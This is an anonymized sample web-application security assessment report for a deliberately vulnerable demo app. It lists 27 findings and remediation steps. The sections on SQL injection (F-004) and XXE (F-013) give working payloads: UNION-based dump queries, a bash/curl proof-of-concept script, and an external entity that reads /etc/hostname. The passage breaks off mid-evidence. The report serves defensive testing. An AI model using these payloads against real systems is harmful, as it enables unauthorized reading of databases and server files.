RiskRift

WEB APPLICATION / SECURITY ASSURANCE

Security Assessment Report

XXXXXX

Evidence-led assessment. Clear priorities. Technical detail.

ASSESSMENT **Unauthenticated**	STATUS **Completed**
REPORT REFERENCE **SAMPLE**	ASSESSMENT DATE **XXXXXX**

ANONYMIZED PUBLIC SAMPLE / INTENTIONALLY VULNERABLE TEST APPLICATION

DECISION BRIEF

01 / Executive summary

Web Application Security Assessment · XXXXXX

CRITICAL	HIGH	MEDIUM	LOW	INFO
0	8	15	4	0

HIGHEST REPORTED SEVERITY / HIGH

27 finding records were reported. 27 await triage or review. Review the evidence and prioritize the highest-severity records.

PRIMARY EXPOSURE

XXXXXX catalog search SQL injection — unauthenticated arbitrary SQLite readback (adjacent surface)

ADJACENT-SURFACE (XXXXXX training app, not the XXXXXX target): GET XXXXXX interpolates q into a SQLite LIKE query without escaping — fully confirmed with the finding-98 methodology: boolean pair x' OR 1=1-- - (all rows + hidden visible=0 product "Référence interne XXXXXX XXXXXX") vs x' OR 1=2-- - (0 rows); verbose SQLite parser errors and a...

Read F-004 →

RECOMMENDED NEXT STEP

Review this finding against its preserved evidence, assign an owner and agree the remediation. Verify the fix before closing the record.

The action plan contains all recorded recommendations.

ENGAGEMENT AT A GLANCE

ACCESS	ASSESSMENT	DATE
Unauthenticated	Completed	XXXXXX

Reading this result

Severity and triage are different: severity expresses the reported seriousness of a finding; pending means it has not yet been reviewed. Totals count finding records, so duplicate records may describe the same issue. The full narrative and limitations are in Appendix A.

DOCUMENT NAVIGATION

Contents

Select a section or finding to jump directly to its evidence.

Executive summary 2

Findings register 5

Scope & approach 7

Recommended actions 8

Technical findings 10

F-004 · XXXXXX catalog search SQL injection — unauthenticated arbitrary SQLite readback (adjacent surface) . . 10

F-013 · XXE: external entity processing with file read and content reflection in XXXXXX POST XXXXXX (adjacent same-origin XXXXXX app) 16

F-014 · Unauthenticated path-traversal XXXXXX arbitrary file read in XXXXXX GET XXXXXX (adjacent same-origin XXXXXX app) 21

F-017 · Purchase workflow bypass: dispatch executes without the required manager approval (state-machine precondition not enforced) 25

F-018 · Second-order SQL injection: stored report-view filter executed at export (SQLite) 30

F-021 · Self-service privilege escalation to auditor via audit_access preference flag 35

F-024 · JWT alg=none accepted: unsigned token forged to role=auditor/scope=reports:export grants analytics bulk export 40

F-027 · UNION/boolean SQL injection in catalog search (SQLite, anonymous) 45

F-001 · XXXXXX: client-controlled plan/is_staff in POST XXXXXX unlocks the plan-gated XXXXXX team space (effective privilege escalation) 50

F-002 · XXXXXX checkout honors client-supplied unit_price — 48 € product ordered at 0.01 € (adjacent surface) 55

F-003 · XXXXXX reviews stored HTML injection — unescaped message re-rendered (adjacent surface) 60

F-005 · XXXXXX invoice detail IDOR — anonymous cross-account invoice read (adjacent surface) 65

F-007 · CSP on both same-origin apps allows inline script execution (script-src 'unsafe-inline', no nonce/hash) — browser-proven non-blocking for stored-HTML injection 69

F-010 · Checkout trusts client-supplied unit_price over server-side catalog price (order total fully client-controlled) 74

F-011 · Account recovery suggests and accepts a fixed hardcoded password, making recovered credentials predictable 78

F-012 · MFA/step-up verification never enforced: protected vault reachable by skipping the verify step entirely . 83

F-016 · Bundle creation accepts cross-workspace restricted document; download leaks its content 88

F-019 · Stored HTML injection in review messages rendered unescaped on XXXXXX (XSS execution unverified) . 92

F-020 · Single-use return voucher can be applied repeatedly by rotating request_key (credit duplication) 97

F-022 · Cross-workspace restricted document disclosure via bundle creation (documents parameter not workspace-validated) 101

F-023 · GraphQL resolver exposes finance-restricted payout instructions (REST denies them) 105

F-025 · BOLA/IDOR: anonymous cross-workspace invoice read via sequential id (XXXXXX}) 109

F-026 · NoSQL-style operator injection on support-case lookup bypasses PIN check 113

F-006 · Main site lacks all framing protection (no CSP, no frame-ancestors, no X-Frame-Options) — frameable in a real browser; token-less lead form exposed to clickjacking-style framing 118

F-008 · No HSTS on any same-origin surface (XXXXXX, XXXXXX, main site) 123

F-009 · Analytics JWTs are non-expiring and temporal claims (exp/nbf) are not enforced when present 127

F-015 · Unvalidated open redirect XXXXXX arbitrary Location echo in XXXXXX XXXXXX (adjacent same-origin XXXXXX app) 132

Assessment notes 136

Report record 138

REPORTED FINDINGS

02 / Findings register

A prioritized index of findings. Select a title to open the full finding.

REFERENCE	FINDING	SEVERITY	TRIAGE
F-004	XXXXXX catalog search SQL injection — unauthenticated arbitrary SQLite readback (adjacent surface)	HIGH	Pending
F-013	XXE: external entity processing with file read and content reflection in XXXXXX POST XXXXXX (adjacent same-origin XXXXXX app)	HIGH	Pending
F-014	Unauthenticated path-traversal XXXXXX arbitrary file read in XXXXXX GET XXXXXX (adjacent same-origin XXXXXX app)	HIGH	Pending
F-017	Purchase workflow bypass: dispatch executes without the required manager approval (state-machine precondition not enforced)	HIGH	Pending
F-018	Second-order SQL injection: stored report-view filter executed at export (SQLite)	HIGH	Pending
F-021	Self-service privilege escalation to auditor via audit_access preference flag	HIGH	Pending
F-024	JWT alg=none accepted: unsigned token forged to role=auditor/scope=reports:export grants analytics bulk export	HIGH	Pending
F-027	UNION/boolean SQL injection in catalog search (SQLite, anonymous)	HIGH	Pending
F-001	XXXXXX: client-controlled plan/is_staff in POST XXXXXX unlocks the plan-gated XXXXXX team space (effective privilege escalation)	MEDIUM	Pending
F-002	XXXXXX checkout honors client-supplied unit_price — 48 € product ordered at 0.01 € (adjacent surface)	MEDIUM	Pending
F-003	XXXXXX reviews stored HTML injection — unescaped message re-rendered (adjacent surface)	MEDIUM	Pending
F-005	XXXXXX invoice detail IDOR — anonymous cross-account invoice read (adjacent surface)	MEDIUM	Pending
F-007	CSP on both same-origin apps allows inline script execution (script-src 'unsafe-inline', no nonce/hash) — browser-proven non-blocking for stored-HTML injection	MEDIUM	Pending

REFERENCE	FINDING	SEVERITY	TRIAGE
F-010	Checkout trusts client-supplied unit_price over server-side catalog price (order total fully client-controlled)	MEDIUM	Pending
F-011	Account recovery suggests and accepts a fixed hardcoded password, making recovered credentials predictable	MEDIUM	Pending
F-012	MFA/step-up verification never enforced: protected vault reachable by skipping the verify step entirely	MEDIUM	Pending
F-016	Bundle creation accepts cross-workspace restricted document; download leaks its content	MEDIUM	Pending
F-019	Stored HTML injection in review messages rendered unescaped on XXXXXX (XSS execution unverified)	MEDIUM	Pending
F-020	Single-use return voucher can be applied repeatedly by rotating request_key (credit duplication)	MEDIUM	Pending
F-022	Cross-workspace restricted document disclosure via bundle creation (documents parameter not workspace-validated)	MEDIUM	Pending
F-023	GraphQL resolver exposes finance-restricted payout instructions (REST denies them)	MEDIUM	Pending
F-025	BOLA/IDOR: anonymous cross-workspace invoice read via sequential id (XXXXXX})	MEDIUM	Pending
F-026	NoSQL-style operator injection on support-case lookup bypasses PIN check	MEDIUM	Pending
F-006	Main site lacks all framing protection (no CSP, no frame-ancestors, no X-Frame-Options) — frameable in a real browser; token-less lead form exposed to clickjacking-style framing	LOW	Pending
F-008	No HSTS on any same-origin surface (XXXXXX, XXXXXX, main site)	LOW	Pending
F-009	Analytics JWTs are non-expiring and temporal claims (exp/nbf) are not enforced when present	LOW	Pending
F-015	Unvalidated open redirect XXXXXX arbitrary Location echo in XXXXXX XXXXXX (adjacent same-origin XXXXXX app)	LOW	Pending

Reported severities and review statuses are retained. Duplicate records are not silently merged.

ENGAGEMENT BOUNDARIES

03 / Scope & approach

IN-SCOPE TARGET	XXXXXX
ACCESS MODEL	Unauthenticated
ASSESSMENT WINDOW	XXXXXX — XXXXXX

Methodology

The assessment followed an iterative, evidence-based methodology under an explicit Effective Scope Record: exact origin XXXXXX only, all paths in scope (no client path restrictions or exclusions), environment unspecified by the client with the applications self-identifying as synthetic/demo, no authorized accounts (unauthenticated engagement using each application's own anonymous identity handling), test-only reversible state changes with a default budget of one accepted submission per form plus three planner-authorized extensions, no authorized callback or test origins, concurrency testing disabled, and a real browser available (Playwright with Chrome Headless Shell 156.0.8078.4, installed after a capability preflight found no system browsers). Phases executed: full anonymous attack-surface mapping (12 XXXXXX pages, 21 API routes plus 5 object-action routes, 14 XXXXXX routes, 24 main-site sitemap URLs) with a discovery ledger and a functionality/data-flow map of producer-consumer trust boundaries; baseline behavior capture with per-attempt identity and CSRF handling; broad input screening across every discovered input (SQL, NoSQL, command, SSTI, LDAP and XPath markers; type, numeric and parser boundaries; duplicate-parameter and CRLF differentials); targeted deep testing of workflow state machines, security-artifact binding and second-order stored-input consumption; browser-based validation of stored HTML injection execution and framing controls in headless Chromium 156; exploit-chain analysis separating validated chains from theoretical ones; coverage review against a per-input, per-category, per-identity, per-mode ledger; and reporting with a Form and State-Change Ledger. Identity model: XXXXXX auto-assigns each anonymous visitor a fictitious identity via a per-attempt session cookie (HttpOnly, Secure, SameSite=None); XXXXXX issues its own session cookie; the main site has no session. Safety controls: read-first baselines before every mutation, synthetic markers in every submission, independent verification read-backs after every state change, cleanup via application reset mechanisms where available, conservative sequential pacing, no brute force, no destructive actions, no external side effects, and zero requests to any host other than the exact target origin (Google Tag Manager was identified from page source and deliberately not fetched). A final read-only reconciliation pass of three GET requests confirmed that test residue is attempt-scoped or session-scoped. Throughout, the report distinguishes control inspection from exploit validation and documents negative results together with the tests actually performed.

REMEDIATION PLANNING

04 / Recommended actions

The source recommendations are presented in their recorded order. Confirm owners and target dates during triage; no remediation has been verified by this report.

01 **RECOMMENDATION 01**

Triage all 27 finding records (8 high, 15 medium, 4 low; all status pending): review the recorded evidence, confirm or adjust severities, and move statuses from pending to reviewed outcomes; explicitly distinguish records from distinct issues by merging records 103 and 109 (same bundle-endpoint root cause) or documenting why they remain separate.

02 **RECOMMENDATION 02**

Remediate the high-severity injection and file-read sinks first: introduce parameterized queries at the XXXXXX catalog search, the report-view export interpolation and the XXXXXX catalog search (records 98, 107, 121); confine the XXXXXX XXXXXX handler to an allowlisted directory that rejects absolute paths and parent-directory segments (record 111); and disable external entity resolution in the XXXXXX XXXXXX XML parser (record 112).

03 **RECOMMENDATION 03**

Harden analytics token validation: allow-list JWT algorithms so alg=none and unsigned tokens are rejected (record 101), and enforce exp/nbf at verification while including exp at issuance (record 116).

04 **RECOMMENDATION 04**

Derive authorization from server-side roles and state rather than client-writable fields: add server-side role checks behind the audit_access preference (record 104) and the XXXXXX plan/is_staff profile keys (record 124), and align GraphQL resolver authorization with the REST payout gate (record 102).

05 **RECOMMENDATION 05**

Enforce workflow preconditions server-side: require a recorded approval before purchase dispatch and make approval retroactive-safe (record 108); link MFA verify completion to finish and vault authorization so the second factor cannot be skipped (record 113); track per-voucher consumption so request keys act only as idempotency keys (record 105); and compute order totals from the server-side catalog instead of the client-supplied unit_price (records 115 and 123).

06 **RECOMMENDATION 06**

Close object-level and disclosure gaps: enforce workspace or account ownership on invoice detail endpoints (records 100 and 120), validate bundle documents against the project workspace (records 103/109), strip or allow-list query operators such as $ne in dict-based lookups (record 99), and replace the hardcoded suggested recovery password with a random one-time suggestion (record 114).

07 **RECOMMENDATION 07**

Reduce browser-side exposure: HTML-encode stored review content at render (records 106 and 122), replace script-src unsafe-inline with nonce- or hash-based policies or an empty script-src on the zero-JavaScript XXXXXX pages (record 118), add frame-ancestors none or X-Frame-Options to main-site pages (record 119), allowlist XXXXXX XXXXXX destinations (record 110), and emit Strict-Transport-Security on all three same-origin surfaces (record 117).

08 **RECOMMENDATION 08**

Supply authenticated test identities covering at least two roles to a follow-up engagement so cross-role rendering, staff-side views, stored-payload persistence and real privilege boundaries can be verified (hypotheses H-5 and H-6 and the team invite-role boundary).

09 **RECOMMENDATION 09**

Authorize a controlled callback or test origin plus additional submission budget so cross-site CSRF can be browser-confirmed, XXXXXX XXXXXX host-unrestrictedness can be tested (H-2), multi-hop redirect validation can be exercised (H-3), the XXE SSRF variant can be probed (H-4), and the main-site clickjacking and forced-submission chain can be demonstrated or refuted (H-1).

10 **RECOMMENDATION 10**

Authorize narrowly scoped concurrency testing on disposable fixtures to cover race and atomicity classes that currently rest only on sequential single-use evidence.

11 **RECOMMENDATION 11**

Reconcile the record 106 and 122 browser-validation labels with the final report's browser-confirmed execution evidence, and preserve or export session cookies in future runs so cleanup and persistence checks can address the original test sessions.

12 **RECOMMENDATION 12**

Provide a read-back or listing facility, or explicit authorization, for main-site lead records so stored lead content and per-field validation can be verified; after remediation, re-test the affected findings to verify fixes, treating remediation status as unverified until then.

05 / Technical findings

TECHNICAL FINDING / F-004

HIGH

XXXXXX catalog search SQL injection — unauthenticated arbitrary SQLite readback (adjacent surface)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#4	Pending	XXXXXX

SQL Injection — XXXXXX catalog search (`GET XXXXXX`): unauthenticated arbitrary SQLite readback

Overview

The catalog search of the adjacent **XXXXXX** training application on `XXXXXX` (`GET XXXXXX`) interpolates the `q` parameter directly into a SQLite `WHERE` clause without parameterization or escaping. Any anonymous visitor can therefore run boolean, error-based, and `UNION SELECT` attacks to read the **entire SQLite database** — including a hidden internal product and the invoices of *both* client accounts — in single GET requests. This is the same vulnerability class as XXXXXX finding 98, but a **distinct entry point and application** (see Affected scope).

Impact

- **Unauthenticated full-database read**: no login, session privilege, or CSRF token is required — the endpoint is a plain GET form reachable from a browser address bar. The primitive is an arbitrary read of every table and row in the SQLite database (schema, all products, all invoices, all reviews).
- **Application-layer filter bypass**: the catalog's visibility filter (`visible=1`) is part of the injectable SQL statement; a commented payload (`-- -`) defeats it and exposes the hidden internal product row that no listing page renders.
- **Cross-account data exposure**: the `invoices` table holds both clients' records with no ownership scoping inside SQL; one anonymous GET returns the other client's invoice (reference, amount, detail).
- **Information disclosure amplifier**: malformed input renders raw `sqlite3` driver errors and a Python exception message in a `<pre>` block on a 400 page — an error-based oracle and a technology-stack disclosure (Python + SQLite) that accelerates exploitation.

Severity: High. Rationale: unauthenticated, trivially reproducible (single GET), readback of 100% of enumerated tables and rows, plus a filter-bypass and cross-account read. The exposure is bounded by the dataset itself being synthetic demo data (3 tables, a handful of rows), so no real personal data was at stake in this assessment — but the flaw class is a full arbitrary-read primitive.

Measured impact

All figures below were **executed live** against the target with ~20 anonymous GET requests in a single auto-issued session (cookie `XXXXXX`):

Probe outcome	Result
Products extracted via `UNION SELECT ... FROM products`	**4 of 4 rows (100%)**, including the 1 hidden `visible=0` row that appears on no page
Products shown by the normal catalog baseline	3 of 4 (hidden row = 25% of the table concealed from users)
Invoices extracted via `UNION SELECT ... FROM invoices`	**2 of 2 rows (100%)**, both accounts (owner 1 and owner 2), in one anonymous GET
Cross-account content	Owner 2's invoice detail returned to an account-1 anonymous session: XXXXXX
Schema enumeration via `sqlite_master`	**3 of 3 user tables (100%)**: `products`, `invoices`, `reviews` (full DDLs)
Boolean oracle	`x' OR 1=1-- -` → 4 rows vs `x' OR 1=2-- -` → 0 rows; both on first attempt (2/2)
Error oracle	`q='` → 400 with raw `unrecognized token: XXXXXX; first attempt (1/1)
Column-count discovery	`ORDER BY 4` → normal page; `ORDER BY 16` → 400 `1st ORDER BY term out of range - should be between 1 and 4` → exactly 4 columns
Type constraint learned	String in the price column → 400 Python error `unsupported operand type(s) for XXXXXX 'str' and 'int'` (price rendered as value/100)

Not executed XXXXXX honestly unverified: the `reviews` table's rows were not dumped (probe budget kept bounded); stacked/write queries were not attempted; no data beyond this demo DB exists to exfiltrate.

Affected scope

- **Application**: XXXXXX training app (same origin `XXXXXX`, path prefix `XXXXXX`) — an **adjacent surface, not the XXXXXX target app**.
- **Endpoint XXXXXX parameter**: `GET XXXXXX` — parameter `q` (the "Rechercher un article" search form).
- **Backend**: SQLite; outer SELECT has 4 columns (col1 not rendered; col2/col3/col4 render as Article XXXXXX Description XXXXXX Prix, price displayed as cents/100).
- **Database objects reachable**: `products(id, name, description, price, visible)`, `invoices(id, owner, reference, amount, detail)`, `reviews(id, author, message)`.
- **Not affected XXXXXX distinct findings**: XXXXXX `GET XXXXXX` (finding 98 — different app, different schema: `supplier_notes`); XXXXXX `GET XXXXXX` IDOR (finding 120 — different root cause, same app).

Reproduction steps

All steps are anonymous GETs; a fresh browser session or `curl` suffices (the app auto-issues the `XXXXXX` cookie; no CSRF token is involved).

1. **Baseline** — `GET XXXXXX` → 200 with exactly 1 product row (`Carnet de liaison · 12.00 €`).
2. **Boolean oracle (true)** — `GET XXXXXX' OR 1=1-- -` (URL-encoded: `x' OR 1=1-- -`) → 200 with **4 rows**, including the hidden product `Référence interne | XXXXXX | 0.00 €`.
3. **Boolean oracle (false, control)** — `q=x' OR 1=2-- -` → 200 with **0 rows**. The pair proves SQL-controlled output.
4. **Filter-intact control** — `q=' OR '1'='1` (no comment) → 3 visible rows only, showing the `visible=1` filter lives in SQL *after* the injectable expression and is defeated only by the `--` comment variant.
5. **Error oracle** — `q='` → 400 page containing `<pre>unrecognized token: XXXXXX<XXXXXX>`.
6. **Column count** — `q=x' ORDER BY 16-- -` → 400 with `1st ORDER BY term out of range - should be between 1 and 4`; `q=x' ORDER BY 4-- -` → normal 200 page. ⇒ 4 columns.
7. **Arbitrary readback** — `q=x' UNION SELECT 'I688-A','I688-B','I688-C',4800-- -` → the row renders as `I688-B | I688-C | 48.00 €` (col2→Article, col3→Description, col4→price/100; col1 is not rendered). A string in col4 instead yields the Python type error (confirms the app divides the raw value by 100).
8. **Schema dump** — `q=x' UNION SELECT name,sql,'-',0 FROM sqlite_master-- -` → all 3 `CREATE TABLE` statements.
9. **Full invoice dump (cross-account)** — `q=x' UNION SELECT id,owner||' :: '||reference||' :: '||amount||' :: '||detail,'-',0 FROM invoices-- -` → both invoices, including account 2's detail marker.
10. **Full product dump incl. hidden row** — `q=x' UNION SELECT id,name||' :: '||description||' :: '||price||' :: visible='||visible,'-',0 FROM products-- -` → 4 rows with their `visible` flags.

Evidence

Raw HTTP captures: `XXXXXX`, `raw/ord_*.txt`, `raw/sqli_*.txt` (probe driver: `XXXXXX`). Traffic binding was not performed (automatic binding off; evidence is command + raw-response files, cited here instead).

Boolean true — 4 rows incl. hidden product (`raw/lp_cat_98T.txt`, 200):

TECHNICAL EVIDENCE

```
<input id="q" name="q" value="x' OR 1=1-- -" ...>
<tr><td>Kit découverte<XXXXXX><td>Une sélection de fournitures pour la démonstration.<XXXXXX><td>48.00
€<XXXXXX><XXXXXX>
<tr><td>Carnet de liaison<XXXXXX><td>Un carnet pour organiser ses premières semaines.<XXXXXX><td>12.00
€<XXXXXX><XXXXXX>
<tr><td>XXXXXX découverte<XXXXXX><td>Une activité entièrement fictive.<XXXXXX><td>25.00 €<XXXXXX><XXXXXX>
<tr><td>Référence interne<XXXXXX><td>XXXXXX<XXXXXX><td>0.00 €<XXXXXX><XXXXXX>
```

Boolean false control — 0 rows (`raw/lp_cat_98F.txt`, 200): same table header with no `<tr>` data rows.

Error oracle (`raw/lp_cat_quote.txt`, 400):

TECHNICAL EVIDENCE

```
<h1>La requête n’a pas abouti.<XXXXXX><pre>unrecognized token: XXXXXX<XXXXXX>
```

Column-count disclosure (`raw/ord_16.txt`, 400; `raw/ord_4.txt` = normal 200 page, 4,581 B):

TECHNICAL EVIDENCE

```
<pre>1st ORDER BY term out of range - should be between 1 and 4<XXXXXX>
```

Python exception disclosure (`raw/sqli_union4.txt`, 400, string in price column):

TECHNICAL EVIDENCE

```
<pre>unsupported operand type(s) for XXXXXX 'str' and 'int'<XXXXXX>
```

UNION readback proven (`raw/sqli_unionOK.txt`, 200):

TECHNICAL EVIDENCE

```
<input id="q" name="q" value="x' UNION SELECT 'I688-A','I688-B','I688-C',4800-- -" ...>
<tr><td>I688-B<XXXXXX><td>I688-C<XXXXXX><td>48.00 €<XXXXXX><XXXXXX>
```

Full schema (`raw/sqli_schema.txt`, 200, payload `x' UNION SELECT name,sql,'-',0 FROM sqlite_master-- -`):

TECHNICAL EVIDENCE

```
<tr><td>CREATE TABLE invoices(id INTEGER PRIMARY KEY, owner INTEGER, reference TEXT, amount INTEGER, detail
TEXT)<XXXXXX><td>-<XXXXXX><td>0.00 €<XXXXXX><XXXXXX>
<tr><td>CREATE TABLE products(id INTEGER PRIMARY KEY, name TEXT, description TEXT, price INTEGER, visible
INTEGER)<XXXXXX><td>-<XXXXXX><td>0.00 €<XXXXXX><XXXXXX>
<tr><td>CREATE TABLE reviews(id INTEGER PRIMARY KEY, author TEXT, message TEXT)<XXXXXX><td>-<XXXXXX><td>0.00
€<XXXXXX><XXXXXX>
```

Cross-account invoice dump (`raw/sqli_dump_invoices.txt`, 200, payload `x' UNION SELECT id,owner||' :: '||reference||' :: '||amount||' :: '||detail,'-',0 FROM invoices-- -`):

TECHNICAL EVIDENCE

```
<tr><td>1 :: DEMO-2026-001 :: 4800 :: Votre facture de démonstration.<XXXXXX><td>-<XXXXXX><td>0.00
€<XXXXXX><XXXXXX>
<tr><td>2 :: DEMO-2026-002 :: 2500 :: XXXXXX<XXXXXX><td>-<XXXXXX><td>0.00 €<XXXXXX><XXXXXX>
```

Product dump incl. hidden row (`raw/sqli_dump_products.txt`, 200):

TECHNICAL EVIDENCE

```
<tr><td>Kit découverte :: Une sélection de fournitures pour la démonstration. :: 4800 :: visible=1<XXXXXX>...
<tr><td>Référence interne :: XXXXXX :: 0 :: visible=0<XXXXXX>...
```

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# PoC — XXXXXX XXXXXX SQLite injection (unauthenticated arbitrary readback)
# Target: XXXXXX
BASE="XXXXXX"
q() { curl -sS -g "$BASE" --get --data-urlencode "q=$1"; }   # --data-urlencode handles all encoding

# 1) Boolean oracle: 4 rows incl. hidden product vs 0 rows
q "x' OR 1=1-- -" | grep -o 'XXXXXX]*}'        # -> XXXXXX
q "x' OR 1=2-- -" | grep -c 'Kit découverte'    # -> 0

# 2) Error oracle + column count
q "'" | grep -o 'unrecognized token[^<]*'
q "x' ORDER BY 16-- -" | grep -o 'should be between 1 and [0-9]*'   # -> 1 and 4

# 3) Arbitrary readback (col1 unused; col2=Article col3=Description col4=price/100)
q "x' UNION SELECT 'I688-A','I688-B','I688-C',4800-- -" | grep -o 'I688-[BC]'

# 4) Full schema enumeration
q "x' UNION SELECT name,sql,'-',0 FROM sqlite_master-- -"

# 5) Dump BOTH accounts' invoices in one anonymous GET
q "x' UNION SELECT id,owner||' :: '||reference||' :: '||amount||' :: '||detail,'-',0 FROM invoices-- -"

# 6) Dump all products incl. the hidden (visible=0) row
q "x' UNION SELECT id,name||' :: '||description||' :: '||price||' :: visible='||visible,'-',0 FROM products--
 -"
```

Run with `bash XXXXXX` (curl required). Every payload is also directly usable in a browser address bar once URL-encoded. The reproduction steps above are the PoC when no shell is available.

Root cause analysis

1. **String-concatenated SQL** (CWE-89): `q` is embedded into the SQLite `WHERE` clause (a LIKE search expression) without bound parameters and without quote escaping. The reconstructed outer statement is effectively `SELECT id, name, description, price FROM products WHERE (... LIKE '%<q>%') AND visible=1 ...` — the trailing `AND visible=1` (and the rest of the statement) can be commented out by the injected `-- -`, which is exactly why the hidden row surfaces only with the comment variant.
2. **Verbose exception rendering**: the 400 "Requête non aboutie" page prints the raw exception message (`<pre>...<XXXXXX>`) — both SQLite driver errors (`unrecognized token`, `ORDER BY ... out of range`) and Python application errors (`unsupported operand type(s) for XXXXXX 'str' and 'int'`). This turns malformed input into a reliable error-based oracle and discloses the tech stack.
3. **No input hardening on** `q`: no charset/length validation, no LIKE-metacharacter handling; the attack surface is GET-based and anonymous, so no CSRF or privilege precondition slows exploitation.

Remediation

1. **Parameterize the query** (primary fix): `SELECT id,name,description,price FROM products WHERE (name LIKE ? OR description LIKE ?) AND visible=1` executed with `(f"%{q}%", f"%{q}%")` via the driver's placeholder binding (sqlite3 `?`XXXXXX params). Parameterization removes the injection class outright regardless of `q` content.
2. **Escape LIKE metacharacters** as defense in depth: escape `%` and _ in `q` (or reject/trim them) and declare an `ESCAPE` clause, so user input cannot alter search semantics.

3. **Stop rendering raw exceptions**: replace the `<pre>{exception}<XXXXXX>` in the 400 page with a generic message ("Recherche indisponible"); log full details server-side only. This removes the error oracle and the Python/SQLite disclosure.
4. **Server-side input validation on** `q`: length cap (e.g. ≤100) and a conservative charset before it reaches SQL.
5. **Sweep for the same pattern app-wide**: every query built by string concatenation in the XXXXXX app (and the equivalent XXXXXX endpoint of finding 98) should be migrated to a shared parameterized DB helper so the class is fixed once, not endpoint by endpoint.
6. **Least privilege (hardening)**: use a read-only SQLite connection/role for catalog reads, so any future injection cannot mutate data.

Finding relationship note: same vulnerability class as XXXXXX finding 98 (`GET XXXXXX`) but a **distinct application, endpoint, schema and dataset** (XXXXXX `products`XXXXXX`invoices`XXXXXX`reviews` vs XXXXXX `products`XXXXXX`supplier_notes`), reported separately per the dedup rule. The XXXXXX invoice exposure itself is otherwise covered from a different root cause by finding 120 (`XXXXXX` IDOR); this SQLi independently exposes that same cross-account row plus the schema and the hidden product.

TECHNICAL FINDING / F-013

HIGH

XXE: external entity processing with file read and content reflection in XXXXXX POST XXXXXX (adjacent same-origin XXXXXX app)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#13	Pending	XXXXXX

XXE: External Entity Processing with Arbitrary Local File Read and Content Reflection — XXXXXX POST XXXXXX (CWE-611)

> **Adjacent-surface note:** this vulnerability lives in the **adjacent same-origin** `XXXXXX` **application** (`XXXXXX`), not in the XXXXXX target app itself. It is reported and labeled as a separately-assessed surface per the engagement scoping.

Overview

The XXXXXX application's dossier-import endpoint `POST XXXXXX` parses fully attacker-controlled XML (single form field `document`) with **external entity resolution enabled** and **reflects the parsed text content back in the HTTP response**. By submitting a DOCTYPE with an external `SYSTEM` entity pointing at `file:///etc/hostname`, an unauthenticated attacker makes the server read a local file and return its content inside the "Contenu importé" block — a direct XML External Entity (XXE) arbitrary-local-file-read primitive.

Impact

- **Unauthenticated arbitrary local file read**: any anonymous visitor can make the server read files accessible to the application process (configuration files, application source, credentials, environment data) and have the content returned in the response. No account, session, or CSRF token is required — the form carries no CSRF field and the probe succeeded with no cookie sent (the server simply re-issued a fresh `XXXXXX` session cookie).
- **Bounded by parser/file permissions**, not by any application logic: exposure is limited to files readable by the XXXXXX process (same practical bound observed for the related path-traversal read, finding 111, where `XXXXXX` was not readable).
- **Potential escalation paths (not tested, see Measured impact)**: external `http://` SYSTEM entities would additionally give server-side request forgery (SSRF) against internal networks, and recursive entity definitions would give an entity-expansion denial of service. Neither was probed because no callback destination was authorized and resource-exhaustion tests were out of bounds for this engagement.
- **Severity: High** — a clean, reliable, no-authentication file-read primitive on the host, with content reflected directly to the attacker; it converts directly into sensitive-data exposure and is a standard stepping stone to deeper compromise (config/credential discovery).

Measured impact

Metric	Result
Entity constructs resolved in the single accepted submission	**2 of 2** — internal entity ∫ substituted ("I639-INTERNAL") **and** external SYSTEM entity &ext; resolved from file:///etc/hostname
Local files read via XXE and reflected	**1 of 1 attempted** — XXXXXX, content XXXXXX-lab (12 bytes, runtime-unique)
Proof the read is genuine (not a canned fixture)	XXXXXX-lab matches the value returned by the **independent** XXXXXX traversal read (finding 111); a runtime-unique hostname cannot be hardcoded in a demo fixture
Accepted XXXXXX submissions used	**1** (single-form submission budget honored; a malformed-XML probe was rejected with HTTP 400 and consumed no budget)
SSRF via external http:// entities	**Not tested** — no authorized callback destination exists in scope
Billion-laughs XXXXXX entity-expansion DoS	**Not tested** — resource-exhaustion probes forbidden by engagement rules

Basis: **executed live** against the target (curl, HTTP 200 response captured in full).

Affected scope

- **Asset:** adjacent same-origin XXXXXX app at XXXXXX
- **Endpoint:** POST XXXXXX
- **Input:** form field document (application/x-www-form-urlencoded), the entire XML document
- **Authentication:** none (anonymous); **CSRF:** none enforced
- **Reflection sink:** <h2>Contenu importé<XXXXXX><pre>...<XXXXXX> block of the HTTP 200 response
- **Out of scope of this report:** XXXXXX app (no equivalent XML parser was found there); the separate XXXXXX path traversal is finding 111 (distinct root cause: missing path confinement in the file server, vs. XML parser configuration here).

Reproduction steps

1. GET XXXXXX — the page contains a single form: <textarea name="document"> prefilled with a benign <dossier><nom>...<XXXXXX><ville>...<XXXXXX><XXXXXX> example. No CSRF token field exists.
2. Save the following XML as xxe_probe.xml (one internal entity to prove DTD processing, one external file entity to prove external resolution): ```xml xml version="1.0"?

TECHNICAL EVIDENCE

```
<!ENTITY ext SYSTEM "file:///etc/hostname">
```

]> I639-PROBE-∫&ext `3. Submit it as the `document` field — no cookies or CSRF token needed:`bash curl -sS -X POST \ --data-urlencode "XXXXXX" \ "XXXXXX" `` 4. Observe the HTTP 200 response: the section`Contenu importé`renders`I639-PROBE-I639-INTERNALXXXXXX-lab`— the internal entity was substituted **and** the external entity was resolved server-side from`file:///etc/hostname`, returning the host's real hostname. 5. (Optional cross-check)`GET .XXXXXX`returns the same`XXXXXX-lab` value via an independent code path (finding 111), proving the XXE read touched the real filesystem.

Evidence

Request (captured in the execution trace, step 17806; auto traffic-binding was off, so no packet binding exists for this finding — the full response below is the verbatim captured body):

TECHNICAL EVIDENCE

```
POST XXXXXX HTTP/1.1
Host: XXXXXX
Content-Type: application/x-www-form-urlencoded

document=<?xml+version="1.0"?><!DOCTYPE+dossier+[...]>...
```

Response headers:

TECHNICAL EVIDENCE

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: XXXXXX; Path=XXXXXX; Secure; HttpOnly; SameSite=None; Max-Age=86400
```

Response body, decisive excerpt (note `I639-PROBE-I639-INTERNALXXXXXX-lab` inside `Contenu importé` — internal entity substituted, external file entity resolved):

TECHNICAL EVIDENCE

```
<h1>L’import de dossiers<XXXXXX>
<form class="panel" method="post" action="XXXXXX">
  <label for="document">Votre dossier XML<XXXXXX>
  <textarea id="document" name="document" rows="7">...<XXXXXX>
  <button>Importer le dossier<XXXXXX>
<XXXXXX>
<section class="panel">
  <h2>Contenu importé<XXXXXX>
